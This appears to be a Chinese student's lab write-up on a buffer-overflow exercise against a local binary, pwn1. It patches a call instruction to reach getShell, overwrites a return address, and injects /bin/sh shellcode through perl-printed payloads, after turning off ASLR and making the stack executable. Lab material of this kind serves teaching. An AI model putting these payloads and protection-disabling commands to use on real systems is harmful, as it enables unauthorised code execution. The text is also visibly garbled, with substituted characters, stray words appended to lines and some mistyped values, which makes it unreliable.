1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码html
2.掌握反汇编与十六进制编程器linux
3.能正确修改机器指令改变程序执行流程shell
4.能正确构造payload进行bof攻击编程
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数vim
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数windows
注入一个本身制做的shellcode并运行这段shellcodesass
会使用gdb,vi等基本指令安全
本次实验,咱们须要用到一个名为pwn1的可执行文件,有的同窗可能第一反应是文件中的内容是乱码。这是为何呢?咱们知道,计算机中信息=位+上下文
,可执行文件的内容是计算机能够直接识别的语言,天然,用户就不必定可以认识了。网络
那么文件中到底是什么内容呢?咱们能够经过反汇编来查看,稍后具体操做,该文件中的程序正常的执行流程是:main执行foo函数,foo函数会简单回显任何用户输入的字符串。该程序的另外一个子函数为getshell,顾名思义,它的功能是返回一个终端shell,可是依据程序,这个函数是不会运行的。咱们本次实验的目标就是想办法运行这个代码片断。在这里有2种方法,3种实践内容。方法有二,其一,想办法运行代码片断,其二,就是注入运行shellcode。 因此,本次实验的目标就是dom
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。 - 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。 - 注入一个本身制做的shellcode并运行这段```shellcode```。
pwn1
文件移到PC的共享文件夹里,而后去Kali的/mnt/hgfs下将pwn_1
文件复制到本身的实验文件夹中。objdump -d 20165203_pwn1
指令反汇编可执行文件,由此咱们能够查看文件的汇编语言。80484b5
处的指令call 8048491 <foo>
。咱们能够分析一下:
0x8048491
处的foo函数。它对应的机器指令为(看汇编指令前面的机器指令)e8 d7fffffff
, e8
就是call
的机器指令,跳转的意思。eip
寄存器中存放的是下一步要执行指令的,在本程序中就是80484ba
,可是d7
又是怎么来的呢?咱们须要找到eip
中的80484ba
和d7
还有8048491
之间的关系,以便修改代码。咱们能够发现:d7ffffff
是一个补码,为41=0x29,而80484ba + d7ffffff = 80484ba - 0x29
就是8048491
这个值。e8 d7ffffff
中的d7ffffff
为804847d(getshell的地址)- 8048ba
的补码就能够了。c3ffffff
,如图所示通过以上的分析,咱们的目的就是修改文件中call指令后面的地址中的d7ffffff
为c3ffffff
,目的清晰,实验的步骤也就清晰多了。
vim 20165203_pwn1
,打开可执行文件。Esc
键 -> :%!xxd
切换到16进制模式,如图所示。i
进入编辑模式,修改d7
为c3
:%!xxd -r
切换到16进制模式。:wq
保存并退出。call
后面的地址是不是咱们所预想的那样呢?./20165203_pwn1
运行修改后的代码,就获得了shell
终端。objdump -d 20165203_pwn2
堆栈
来进行,咱们了解堆栈的结构,当咱们调用函数时,函数foo 804849a
处的mov语句会读入字符串,读入的数据会超出系统保留的缓冲区,超出的部分会溢出覆盖返回地址,如图分析所示。80484ae
。80484ae
。如图所示,经过观察foo
函数中红色框框内的指令,咱们能够看到esp
寄存器空出了0x38
大小的位置,而eax
寄存器又占到了0x1c
大小的位置,ebp
的大小为4个字节,因此,缓冲区的小小为0x38-0x1c+4
为32字节
。
111111112222222233333333444444441234
,如图所示。咱们能够看到1234
覆盖到了返回地址,咱们只要把这四个字替换为getshell
的地址,就OK了。
在call
命令处设置断点,对比eip
处的数据,输入1234
,出来倒是4321
.咱们能够肯定是11111111222222223333333344444444\x7d\x84\x04\x08
。
x7d
这样的16进值,咱们须要构造字符串文件,使ASCII码为咱们想输入的16进值。利用Perl
xxd input
查看input
文件的内容。apt-get install execstack
命令安装execstack
。execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space // //查询是否关闭地址随机化 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
如图所示
retaddr+nops+shellcode
,咱们须要在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1),具体指令为perl -e 'print"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
。\x4\x3\x2\x1
部分要填什么。
(cat input_shellcode;cat) | ./20165203_pwn3
ps -ef | grep 20165203_pwn3
来查看20165203_pwn3进程号。如图所示,进程号为5023。gdb
, 输入attach 5023
进行调试。disassemblr foo
反汇编,经过设置断点,查看注入buf的内存地址。break *0x080484ae
设置断点,输入c
命令运行,经过在20165203_pwn3进程正在运行的终端敲回车,使其继续执行。再返回调试端,使用info r esp
命令查找地址。x/16x 0xffffd3ec
查看esp寄存器中的存放内容,咱们能够看到01020304
,就是返回地址的位置。而根据咱们构造的input_shellcode(攻击buf的结构)可知,shellcode就在其后,因此地址是 0xffffd3ec+0x04为0xffffd3f0
。perl -e 'print"\xf0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
。(cat input_shellcode;cat) | ./20165203_pwn3
运行文件,攻击成功。Q1:在查看进程号时,发现./20165203_pwn3
的进程号不见了,只有ps -ef | grep 20165203_pwn3
的进程号。
A1:本身在新的终端打开./20165203_pwn3
时,多敲了一个回车,意味着进程执行完毕,天然就不会显示进程号了。因此,在打开./20165203_pwn3
时,不要敲回车,在调试时敲回车使进程继续执行。
Q2:注入Shellcode,咱们选择的是retaddr+nops+shellcode
结构,还有其余的结构吗,咱们为何要选择上述结构呢?
A2:Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
nop+shellcode+retaddr nop
一为是了填充,二是做为“着陆区/滑行区”实验感想:本次实验咱们主要学习了缓冲区溢出与shellcode,这是本身第一次尝试攻击程序,修改程序的路径,感受颇有意思,当攻击成功后,那种心里的知足感和成就感油然而生。固然,这其中也参考了学长学姐以前的博客,本身把本身思考分析的过程详细整理了一下,但愿本身在从此能学到更多关于网络对抗方面的知识。
问题:什么是漏洞?漏洞有什么危害?